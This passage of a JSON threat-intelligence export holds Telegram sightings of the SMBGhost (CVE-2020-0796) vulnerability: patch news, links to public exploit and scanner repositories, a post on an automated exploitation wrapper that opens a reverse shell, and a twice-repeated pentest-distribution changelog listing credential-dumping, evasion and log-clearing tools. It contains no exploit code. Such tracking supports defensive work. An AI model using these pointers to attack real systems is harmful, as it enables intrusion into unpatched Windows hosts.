\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0435\u0433\u043e \u043f\u043e \u0441\u0432\u043e\u0435\u043c\u0443 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e. \u0418\u043d\u043e\u0433\u0434\u0430 \u043e\u043d \u043d\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u0432\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u043f\u044b\u0442\u043a\u0443.\n\n#tools", "creation_timestamp": "2023-03-01T11:00:42.000000Z"}, {"uuid": "ea8922f6-8732-454b-9a52-a77046c2aaec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/poxek/325", "content": "SMBGhost (CVE-2020-0796) Automate Exploitation and Detection\n\u042d\u0442\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0430 python \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0431\u0435\u0440\u0442\u043a\u0443 \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 RCE SMBGhost. \u0412\u0441\u0435 \u0437\u0430\u0441\u043b\u0443\u0433\u0438 \u0437\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 - chompie1337. \u0412\u0441\u0435 \u0437\u0430\u0441\u043b\u0443\u0433\u0438 \u0437\u0430 \u0441\u043a\u0430\u043d\u0435\u0440 - ioncodes.\n\u042f \u043f\u0440\u043e\u0441\u0442\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b \u044d\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435. \u0412\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 Windows-\u0446\u0435\u043b\u0438, \u043a\u043e\u0433\u0434\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0435\u0441\u044c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443.\n\u042d\u0442\u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0435\u0433\u043e \u043f\u043e \u0441\u0432\u043e\u0435\u043c\u0443 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e. \u0418\u043d\u043e\u0433\u0434\u0430 \u043e\u043d \u043d\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u0432\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u043f\u044b\u0442\u043a\u0443.\n\nhttps://github.com/Barriuso/SMBGhost_AutomateExploitation\n\n@dnevnik_infosec", "creation_timestamp": "2021-12-24T06:37:20.000000Z"}, {"uuid": "82e32970-4610-4c22-81d1-024b6065524e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/alexmakus/3347", "content": "\u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u0438\u0439 \u043f\u0430\u0442\u0447 Microsoft \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u0435\u0442\u0430\u043b\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0442\u0435\u043a\u043b\u0438 \u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439 \u043d\u0430\u0437\u0430\u0434 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 March Patch Tuesday. \u0410\u043f\u0434\u0435\u0439\u0442\u044b \u0434\u043b\u044f Windows 10 \u0438 Windows Server 2019. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 SMBv3 - \u0432 Server Message Block, \u0435\u0441\u043b\u0438 \u0431\u044b\u0442\u044c \u0442\u043e\u0447\u043d\u044b\u043c. \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0441\u0435\u0440\u0432\u0438\u0441 SMB, \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 SYSTEM. \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043e \u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435.  \n\nKB https://portal.msrc.microsoft.com/en-us/security-guidance\nCVE https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796", "creation_timestamp": "2020-03-12T16:21:19.000000Z"}, {"uuid": "44d37375-5b4c-4b9d-8ee0-ed4597f4efca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/avdno/701", "content": "\u041d\u0435 \u0432\u0435\u0440\u044c\u0442\u0435 \u0432\u0441\u0435\u043c\u0443, \u043e \u0447\u0435\u043c \u043f\u0438\u0448\u0435\u0442 \u0442\u0432\u0438\u0442\u0442\u0435\u0440 \u041b\u041a, \u0441\u0435\u0439\u0447\u0430\u0441 \u043e\u043d \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u0430\u0442\u0447\u0430 \u043a CVE-2020-0796 \u043d\u0435\u0442, \u0445\u043e\u0442\u044f \u043f\u0430\u0442\u0447 \u0432\u044b\u0448\u0435\u043b \u0435\u0449\u0451 \u0432\u0447\u0435\u0440\u0430 \n\nhttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796", "creation_timestamp": "2020-03-14T11:46:18.000000Z"}, {"uuid": "9f1d3cbd-313e-41d3-9327-f0dfbbba72ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/hybgl/117", "content": "https://github.com/danigargu/CVE-2020-0796", "creation_timestamp": "2020-03-30T20:32:45.000000Z"}, {"uuid": "bcd38cf4-aed2-447d-aeb4-e76b857a40b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/hybgl/169", "content": "#Windows\n#smb3\n#CVE\n#CVE-2020-0796\n#scanner\n\nhttps://github.com/ollypwn/SMBGhost", "creation_timestamp": "2020-04-20T15:31:32.000000Z"}, {"uuid": "68facc93-8e77-44d2-98dd-b916a95c3b6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/ctinow/21285", "content": "Kryptos Logic Researchers discovered roughly 48,000 Windows 10 hosts vulnerable to attacks targeting CVE-2020-0796.\n\nhttps://t.co/CbaH4GEsRt http://twitter.com/BleepinComputer/status/1238129339218235393", "creation_timestamp": "2020-03-12T16:50:37.000000Z"}, {"uuid": "8556c0e8-6900-4b56-b5b2-3829ff124740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/ctinow/21283", "content": "BREAKING: Microsoft releases the out-of-band KB4551762 Windows 10 security update to patch the CVE-2020-0796 SMBv3 RCE vulnerability\nhttps://t.co/M1A1RKezX4 http://twitter.com/BleepinComputer/status/1238128405910097921", "creation_timestamp": "2020-03-12T16:50:35.000000Z"}, {"uuid": "739fb733-7f11-4841-9e9d-cb3245c11a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/Ninjutsu_os/134", "content": "\ud83d\udd30Ninjutsu OS Info \ud83d\udd30  \n\n\nWe added 40 Nmap Scripting Engine (NSE) to Ninjutsu OS\n\nAxis_vuln_webcam\ncisco-asa-scan\nhttp-middleware-path-finder\nCVE-2018-13379\ncisco-cve-2019-1937\nhttp-pulse_ssl_vpn\nCVE-2018-20377\ncitrix\nhttp-screenshot\nphpadmin\nCVE-2018-4407\nclickjacking-prevent-check\nhttp-shellshock\nsmb-vuln-cve-2020-0796\nCVE-2018-7600_drupalgeddon\ncve_2019_1653\nhttp-vuln-CVE-2019-16759\ntomcat-cve-2017-12615\nCVE-2019-19781\ndlink-cve-2019-13101\nhttp-vuln-cve2017-18195\ntraversal\nCVE-2020-0796\ndocker_daemontcp\nhttp-waf-test\nvxworks_urgent11\nIIS-CVE-2010-2731\nfile-checker\nhttpcs_docker-daemontcp-prod\nweblogic-CNVD-C-2019-48814\nMS15-034\nfreevu\narch\nhydra\nweblogic-cve-2018-2894\nabb-cve-2019-7226\nhttp-lfi\ninfiltrator\nwinVulnDetection", "creation_timestamp": "2020-05-12T13:27:31.000000Z"}, {"uuid": "f6b37656-2a21-4da6-a814-f586bf9833c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/21359", "content": "RT @serghei: Proof-of-concept local privilege escalation exploit for CVE-2020-0796 from @SophosLabs https://t.co/ummaRLrTy1 http://twitter.com/BleepinComputer/status/1238894151317536768", "creation_timestamp": "2020-03-14T19:37:25.000000Z"}, {"uuid": "4befcc54-a17d-470c-8ac9-647b70894892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/ctinow/21292", "content": "Security Patch Released for 'Wormable' SMBv3 Vulnerability \u2014 Install It ASAP! Microsoft today finally released software updates to patch a recently disclosed very dangerous vulnerability in SMBv3 protocol that could let attackers launch wormable malware, which propagates itself from one vulnerable computer to another automatically.\n\nThe vulnerability, tracked as CVE-2020-0796, in question is a remote code execution flaw that affects Windows 10 version 1903 and 1909, and", "creation_timestamp": "2020-03-12T18:09:18.000000Z"}, {"uuid": "181e9a23-ad8f-4dd9-adae-c17af65e9744", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/21212", "content": "https://t.co/RXWs9dcvdE\nCVE-2020-0796 #CoronaBlue https://t.co/RXWs9dcvdE\n\n*cyb3rops*", "creation_timestamp": "2020-03-11T09:46:14.000000Z"}, {"uuid": "1d70f339-f90b-424f-a2f2-2204de04a22c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/ctinow/21179", "content": "Microsoft Leaks Info on Wormable Windows SMBv3 CVE-2020-0796 Flaw - by @serghei\nhttps://t.co/NpFNUgQd34 http://twitter.com/BleepinComputer/status/1237487933113974790", "creation_timestamp": "2020-03-10T22:20:17.000000Z"}, {"uuid": "4628b2d7-2088-4fd1-b806-f17f4a1656b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/Ninjutsu_os/343", "content": "WINDOWS 10 PRO 2004 [19041] X64\nVersion: 2004\nBuild: 19041.450\nEdition: Pro\nArch: x64\nLang: en-US\n\n---------------------------------------------------------\nChangelog / Updates:\n\n\u2705 26/08/2020\n\nFeatures:\n\u2705 Windows 10 Pre-Installed Penetration Testing, Red Teaming.\n\u2705 More than 800 penetration testing tools.\n\u2705 Customize Windows 10 with powerful tweak and optimize to Protect your privacy.\n\u2705 Unwanted Windows components removal.\n\u2705 Disable many of the annoying features built into windows.\n\u2705 Remove/Disable many Windows programs and services.\n\u2705 Prefills the commandline.\n\u2705 Windows Terminal Powerline in PowerShell  \n\u2705 .NET Framework (4.0/4.5/4.6/4.7/4.8/2.x/3.x)\n\u2705 Optimized WINDOWS\n\u2705 Performs privacy & security check of Windows 10\n\n\n\nRemove/Disables component:\n\u2705 Greenshot Apps\n\u2705 Vega Web Scanner\n\u2705 yogadns\n\u2705 Microsoft Edge Browser\n\u2705 Docker\n\u2705 Nox Android Emulator\n\u2705 COMODO Firewall\n\u2705 Winja\n\u2705 MarkdownEdit\n\u2705 Windows Apps and System Apps\n\u2705 Windows Security / Defender  / Smartscreen\n\u2705 OneDrive\n\u2705 Disable UAC (Never notify)\n\u2705 Internet Explorer 11\n\u2705 Media Features\n\u2705 Windows powershell v2\n\n\n### Updated Tools :\n\n# Antivirus Evasion Tools\n\u2705 Macro Pack-Automatize Obfuscation & Generation of MS Office\n\n# Exploitation Tools\n\u2705 Goby Attack surface mapping\n\u2705 Metasploit\n\n# Information Gathering\n\u2705 subfinder\n\u2705 Sublist3r\n\u2705 FinalRecon\n\u2705 findomain\n\u2705 amass\n\u2705 gitleaks\n\u2705 EyeWitness\n\u2705 Maltego\n\n# Malware Analysis\n\u2705 Detect It Easy\n\u2705 dnSpy\n\u2705 loki\n\u2705 Process Explorer\n\n# Mobile Security Tools\n\u2705 Mobile-Security-Framework-MobSF\n\n# Proxy and Privacy Tools\n\u2705 Tor Browser\n\u2705 SimpleDNSCrypt\n\u2705 WPD\n\u2705 O&O ShutUp10\n\u2705 W10Privacy\n\n# Reverse Engineering\n\u2705 x64dbg\n\u2705 dnSpy\n\n# Web Application Attack\n\u2705 WPScan-WordPress Vulnerability Scanner\n\u2705 BuprSuite \n\u2705 testssl.sh\n\u2705 commix\n\u2705 droopescan\n\u2705 sqlmap\n\u2705 nuclei\n\u2705 sslscan\n\u2705 gowitness\n\n# Wireless Attacks\n\u2705 bettercap\n\n# Utility Tools\n\u2705 chrome\n\u2705 Firefox\n\u2705 Brave\n\u2705 Sharex\n\n\n## Added Tools :\n\n# Command & Control\n\u2705 LocalXpose\n\u2705 One-Lin3r\n\u2705 UPnP PortMapper\n\n# Exploitation Tools\n\u2705 HiveJack  dump Windows credentials\n\n# Information Gathering\n\u2705 IP List Generator 2 (x64)\n\n# Malware Analysis\n\u2705 AnVir Task Manager\n\u2705 Dependency Walker\n\u2705 HijackThis\n\u2705 YARA\n\n# Mobile Security Tools\n\n# Networking Attack\n\u2705 superscan\n\u2705 sipp\n\u2705 sippts\n\u2705 SIPP -VOIP Test\n\u2705 SIPVicious suite\n\u2705 sipscan\n\u2705 nbrute\n\u2705 winbox\n\u2705 SNMPCheck SNMP enumerator\n\u2705 SIP Scanner\n\u2705 OWASP-Nettacker\n\n# Password Attacks\n\u2705 ncrack\n\n# Proxy and Privacy Tools\n\u2705 privatezilla\n\u2705 Clear All Event Logs\n\u2705 BleachBit\n\u2705 TMAC (MAC Address Changer)\n\u2705 SoftEther VPN Client Manager (Free VPN)\n\u2705 tor bundle (terminal #tor)\n\n# Reverse Engineering\n\u2705 Cutter\n\n# Vulnerability Analysis\n\n# Web Application Attack\n\u2705 WS-Attacker-1.8\n\u2705 wsdigger\n\u2705 weblogicScanner\n\u2705 CMSMap CMS vulnerability scanner\n\u2705 All-in-One OS command injection\n\u2705 WSDigger -Web Services\n\n\n# Wireless Attacks\n\u2705 CommViewforWiFi\n\n# Wordlists\n\u2705 Cheatsheet-God\n\u2705 penetration-testing-cheat-sheet\n\u2705 PentesterSpecialDict\n\n# Utility Tools\n\u2705 TCPOptimizer\n\u2705 Markdown Monster\n\u2705 ccenhancer\n\u2705 Driver Easy\n\u2705 IrfanView\n\u2705 TreeSizeFree\n\n\n# Nmpa NSE :\n\n\u2705 CVE-2020-0796_new\n\u2705 smb2-capabilities_patched\n\u2705 cve-2020-1350\n\u2705 cve-2020-0796\n\u2705 http-vuln-cve2020-3452\n\u2705 http-vuln-cve2020-5902\n\u2705 http-raw-headers\n\u2705 http-vuln-cve2017-18195\n\u2705 dlink-cve-2019-13101\n\u2705 cisco-cve-2019-1937\n\u2705 abb-cve-2019-7226\n\u2705 cve_2019_1653\n\u2705 CVE-2019-19781\n\u2705 http-vuln-CVE-2019-16759\n\u2705 weblogic-CNVD-C-2019-48814\n\u2705 smb-vuln-cve-2020-0796\n\n\n### Privacy Tweaks ###\n\u2705 Block pop-ups and annoying ads on websites (Hosts)\n\u2705 Disable Inventory  Collector\n\u2705 Disable Get Even more out of windows\n\u2705 Disable app access to notificaton , account info ,email ..etc \n\u2705 Disable Telemetry\n\u2705 Disable WiFi Sense\n\u2705 Disable SmartScreen\n\u2705 Disable WebSearch\n\u2705 Disable App Suggestions\n\u2705 Disable Activity History\n\u2705 Disable Background Apps\n\u2705 Disable Sensors\n\u2705 Disable Location\n\u2705 Disable MapUpdates\n\u2705 Disable Feedback\n\u2705 Disable Tailored Experiences\n\u2705 Disable Advertising ID\n\u2705 Disable WebLangList\n\u2705 Disable Cortana\n\u2705 Disable Error Reporting\n\u2705 Disable SetP2P", "creation_timestamp": "2020-08-27T17:04:45.000000Z"}, {"uuid": "1d0fb37c-6ca9-49f3-8cdd-b9bdb67aefc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/Ninjutsu_os/6563", "content": "WINDOWS 10 PRO 2004 [19041] X64\nVersion: 2004\nBuild: 19041.450\nEdition: Pro\nArch: x64\nLang: en-US\n\n---------------------------------------------------------\nChangelog / Updates:\n\n\u2705 26/08/2020\n\nFeatures:\n\u2705 Windows 10 Pre-Installed Penetration Testing, Red Teaming.\n\u2705 More than 800 penetration testing tools.\n\u2705 Customize Windows 10 with powerful tweak and optimize to Protect your privacy.\n\u2705 Unwanted Windows components removal.\n\u2705 Disable many of the annoying features built into windows.\n\u2705 Remove/Disable many Windows programs and services.\n\u2705 Prefills the commandline.\n\u2705 Windows Terminal Powerline in PowerShell  \n\u2705 .NET Framework (4.0/4.5/4.6/4.7/4.8/2.x/3.x)\n\u2705 Optimized WINDOWS\n\u2705 Performs privacy & security check of Windows 10\n\n\n\nRemove/Disables component:\n\u2705 Greenshot Apps\n\u2705 Vega Web Scanner\n\u2705 yogadns\n\u2705 Microsoft Edge Browser\n\u2705 Docker\n\u2705 Nox Android Emulator\n\u2705 COMODO Firewall\n\u2705 Winja\n\u2705 MarkdownEdit\n\u2705 Windows Apps and System Apps\n\u2705 Windows Security / Defender  / Smartscreen\n\u2705 OneDrive\n\u2705 Disable UAC (Never notify)\n\u2705 Internet Explorer 11\n\u2705 Media Features\n\u2705 Windows powershell v2\n\n\n### Updated Tools :\n\n# Antivirus Evasion Tools\n\u2705 Macro Pack-Automatize Obfuscation & Generation of MS Office\n\n# Exploitation Tools\n\u2705 Goby Attack surface mapping\n\u2705 Metasploit\n\n# Information Gathering\n\u2705 subfinder\n\u2705 Sublist3r\n\u2705 FinalRecon\n\u2705 findomain\n\u2705 amass\n\u2705 gitleaks\n\u2705 EyeWitness\n\u2705 Maltego\n\n# Malware Analysis\n\u2705 Detect It Easy\n\u2705 dnSpy\n\u2705 loki\n\u2705 Process Explorer\n\n# Mobile Security Tools\n\u2705 Mobile-Security-Framework-MobSF\n\n# Proxy and Privacy Tools\n\u2705 Tor Browser\n\u2705 SimpleDNSCrypt\n\u2705 WPD\n\u2705 O&O ShutUp10\n\u2705 W10Privacy\n\n# Reverse Engineering\n\u2705 x64dbg\n\u2705 dnSpy\n\n# Web Application Attack\n\u2705 WPScan-WordPress Vulnerability Scanner\n\u2705 BuprSuite \n\u2705 testssl.sh\n\u2705 commix\n\u2705 droopescan\n\u2705 sqlmap\n\u2705 nuclei\n\u2705 sslscan\n\u2705 gowitness\n\n# Wireless Attacks\n\u2705 bettercap\n\n# Utility Tools\n\u2705 chrome\n\u2705 Firefox\n\u2705 Brave\n\u2705 Sharex\n\n\n## Added Tools :\n\n# Command & Control\n\u2705 LocalXpose\n\u2705 One-Lin3r\n\u2705 UPnP PortMapper\n\n# Exploitation Tools\n\u2705 HiveJack  dump Windows credentials\n\n# Information Gathering\n\u2705 IP List Generator 2 (x64)\n\n# Malware Analysis\n\u2705 AnVir Task Manager\n\u2705 Dependency Walker\n\u2705 HijackThis\n\u2705 YARA\n\n# Mobile Security Tools\n\n# Networking Attack\n\u2705 superscan\n\u2705 sipp\n\u2705 sippts\n\u2705 SIPP -VOIP Test\n\u2705 SIPVicious suite\n\u2705 sipscan\n\u2705 nbrute\n\u2705 winbox\n\u2705 SNMPCheck SNMP enumerator\n\u2705 SIP Scanner\n\u2705 OWASP-Nettacker\n\n# Password Attacks\n\u2705 ncrack\n\n# Proxy and Privacy Tools\n\u2705 privatezilla\n\u2705 Clear All Event Logs\n\u2705 BleachBit\n\u2705 TMAC (MAC Address Changer)\n\u2705 SoftEther VPN Client Manager (Free VPN)\n\u2705 tor bundle (terminal #tor)\n\n# Reverse Engineering\n\u2705 Cutter\n\n# Vulnerability Analysis\n\n# Web Application Attack\n\u2705 WS-Attacker-1.8\n\u2705 wsdigger\n\u2705 weblogicScanner\n\u2705 CMSMap CMS vulnerability scanner\n\u2705 All-in-One OS command injection\n\u2705 WSDigger -Web Services\n\n\n# Wireless Attacks\n\u2705 CommViewforWiFi\n\n# Wordlists\n\u2705 Cheatsheet-God\n\u2705 penetration-testing-cheat-sheet\n\u2705 PentesterSpecialDict\n\n# Utility Tools\n\u2705 TCPOptimizer\n\u2705 Markdown Monster\n\u2705 ccenhancer\n\u2705 Driver Easy\n\u2705 IrfanView\n\u2705 TreeSizeFree\n\n\n# Nmpa NSE :\n\n\u2705 CVE-2020-0796_new\n\u2705 smb2-capabilities_patched\n\u2705 cve-2020-1350\n\u2705 cve-2020-0796\n\u2705 http-vuln-cve2020-3452\n\u2705 http-vuln-cve2020-5902\n\u2705 http-raw-headers\n\u2705 http-vuln-cve2017-18195\n\u2705 dlink-cve-2019-13101\n\u2705 cisco-cve-2019-1937\n\u2705 abb-cve-2019-7226\n\u2705 cve_2019_1653\n\u2705 CVE-2019-19781\n\u2705 http-vuln-CVE-2019-16759\n\u2705 weblogic-CNVD-C-2019-48814\n\u2705 smb-vuln-cve-2020-0796\n\n\n### Privacy Tweaks ###\n\u2705 Block pop-ups and annoying ads on websites (Hosts)\n\u2705 Disable Inventory  Collector\n\u2705 Disable Get Even more out of windows\n\u2705 Disable app access to notificaton , account info ,email ..etc \n\u2705 Disable Telemetry\n\u2705 Disable WiFi Sense\n\u2705 Disable SmartScreen\n\u2705 Disable WebSearch\n\u2705 Disable App Suggestions\n\u2705 Disable Activity History\n\u2705 Disable Background Apps\n\u2705 Disable Sensors\n\u2705 Disable Location\n\u2705 Disable MapUpdates\n\u2705 Disable Feedback\n\u2705 Disable Tailored Experiences\n\u2705 Disable Advertising ID\n\u2705 Disable WebLangList\n\u2705 Disable Cortana\n\u2705 Disable Error Reporting\n\u2705 Disable SetP2P", "creation_timestamp": "2020-08-27T17:04:45.000000Z"}, {"uuid": "cb6dc184-dc82-40b1-9967-cfe8024ba917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/Ninjutsu_os/739", "content": "\ud83d\udd30Ninjutsu OS Info \ud83d\udd30  \n\n\nWe added 40 Nmap Scripting Engine (NSE) to Ninjutsu OS\n\nAxis_vuln_webcam\ncisco-asa-scan\nhttp-middleware-path-finder\nCVE-2018-13379\ncisco-cve-2019-1937\nhttp-pulse_ssl_vpn\nCVE-2018-20377\ncitrix\nhttp-screenshot\nphpadmin\nCVE-2018-4407\nclickjacking-prevent-check\nhttp-shellshock\nsmb-vuln-cve-2020-0796\nCVE-2018-7600_drupalgeddon\ncve_2019_1653\nhttp-vuln-CVE-2019-16759\ntomcat-cve-2017-12615\nCVE-2019-19781\ndlink-cve-2019-13101\nhttp-vuln-cve2017-18195\ntraversal\nCVE-2020-0796\ndocker_daemontcp\nhttp-waf-test\nvxworks_urgent11\nIIS-CVE-2010-2731\nfile-checker\nhttpcs_docker-daemontcp-prod\nweblogic-CNVD-C-2019-48814\nMS15-034\nfreevu\narch\nhydra\nweblogic-cve-2018-2894\nabb-cve-2019-7226\nhttp-lfi\ninfiltrator\nwinVulnDetection", "creation_timestamp": "2020-05-12T13:27:34.000000Z"}, {"uuid": "a9b87f35-202d-4427-9905-013cecf759b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/TechnologyMakers_Articles/173", "content": "\u0628\u0623\u062e\u062a\u0635\u0627\u0631 \u0627\u0644\u0623\u062f\u0627\u0629 \u062f\u064a \u0627\u0644\u0644\u064a \u0639\u0644\u0649 GitHub \u0647\u064a \u0623\u062f\u0627\u0629 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 (Exploit) \u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u0645\u0639\u0631\u0648\u0641\u0629 \u0628\u0640CVE-2020-0796 \u0648\u0627\u0644\u0644\u064a \u0647\u064a \u0648\u0627\u062d\u062f\u0629 \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u062e\u0637\u064a\u0631\u0629 \u0641\u064a \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMBv3 \u0627\u0644\u0644\u064a \u0628\u064a\u0633\u062a\u062e\u062f\u0645 \u0641\u064a \u0645\u0634\u0627\u0631\u0643\u0629 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0628\u064a\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0639\u0644\u0649 \u0627\u0644\u0634\u0628\u0643\u0629\u060c \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0628\u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0646\u0647 \u064a\u0646\u0641\u0630 \u0623\u0643\u0648\u0627\u062f \u062e\u0628\u064a\u062b\u0629 \u0639\u0646 \u0628\u0639\u062f (Remote Code Execution) \u0639\u0644\u0649 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\u0629\u060c \u0628\u0645\u0639\u0646\u0649 \u0625\u0646\u0647 \u064a\u0642\u062f\u0631 \u064a\u0634\u063a\u0644 \u0623\u064a \u0628\u0631\u0646\u0627\u0645\u062c \u0623\u0648 \u0633\u0643\u0631\u064a\u0628\u062a \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0636\u062d\u064a\u0629 \u0645\u0646 \u063a\u064a\u0631 \u0645\u0627 \u064a\u0643\u0648\u0646 \u0644\u064a\u0647 \u0623\u064a 